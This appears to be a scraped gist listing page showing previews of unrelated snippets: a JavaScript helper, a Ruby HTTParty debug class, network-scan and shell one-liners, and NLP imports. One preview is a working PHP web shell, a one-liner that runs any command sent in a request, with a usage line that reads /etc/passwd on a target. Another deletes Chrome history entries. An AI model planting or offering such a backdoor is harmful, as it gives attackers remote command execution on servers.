Skip to content
View logger.js
var spacing = (function (size) {
var result = '';
for (var i = 0; i < size; i++) {
result += '&nbsp;';
}
return result;
})(4);
View HTTPartyDebug.rb
# HTTParty
require 'httparty'
class HTTPartyDebug
@@capture = StringIO.new
@@foo
include HTTParty
debug_output @@capture
View gist:713d9779b9db38cf0771
osascript -e 'quit app "Google Chrome"'
sqlite3 ~/Library/Application\ Support/Google/Chrome/Default/History "delete from urls where url like '%url_to_nuke%';"
View bitekite.txt
stu@redmac ~ $ curl -L --insecure -I https://bitekite.com/~bitekite/terms
HTTP/1.1 301 Bounce
Date: Wed, 06 May 2015 06:10:44 GMT
Server: Apache
Location: /~bitekite/~bitekite/terms
Vary: Accept-Encoding
Content-Type: text/html
HTTP/1.1 301 Bounce
Date: Wed, 06 May 2015 06:10:44 GMT
View Simple-Backdoor-One-Liner.php
<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
View Nmap-One-Liners.txt
# Pull Resolved Hosts From .gnmap Files
grep "Host: " *.gnmap|sed 's/\t/ /g'|tr -s '[:space:]'|cut -d" " -f3|awk '!/\(\)/'|sort -u|sed 's/(//g;s/)//g'
# Pull Alive Host IPs Based on Open Port From .gnmap Files
grep "Host:.*Ports:.*/open/" *.gnmap|cut -d" " -f2
# Pull Alive Host IPs Based on Status Form .gnmap Files (Varying Results Based On Scan Flags [i.e.: -Pn])
grep "Host:.*Status: Up" *.gnmap|cut -d" " -f2
# Common Discovery Scan String (Known RTT)
View Shiv-One-Liners.txt
# Sort+Unique IP Addresses
cat IP-List.txt|sort -n -u -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4
# Grep IP Addresses in File
egrep '[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}' Filename.txt
# Dig A Record to CSV (Format: Hostname,IP Address)
for i in `cat Host-List.txt`;do dig +short ${i} a|awk '!/[a-z]/'|sed "s/^/${i},/g";done
# Remove Password from PDF
View gist:32ad7813e6e1ed0b77cb
id
kickstarter_id
name
slug
blurb
creator
main_category
sub_category
launched_at
deadline
View sli.ipynb
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
View sli.py
import math
import nltk
import numpy as np
import pandas as pd
import scipy
from nltk.corpus import stopwords
from scipy import linalg
stopwords = stopwords.words('english')
Something went wrong with that request. Please try again.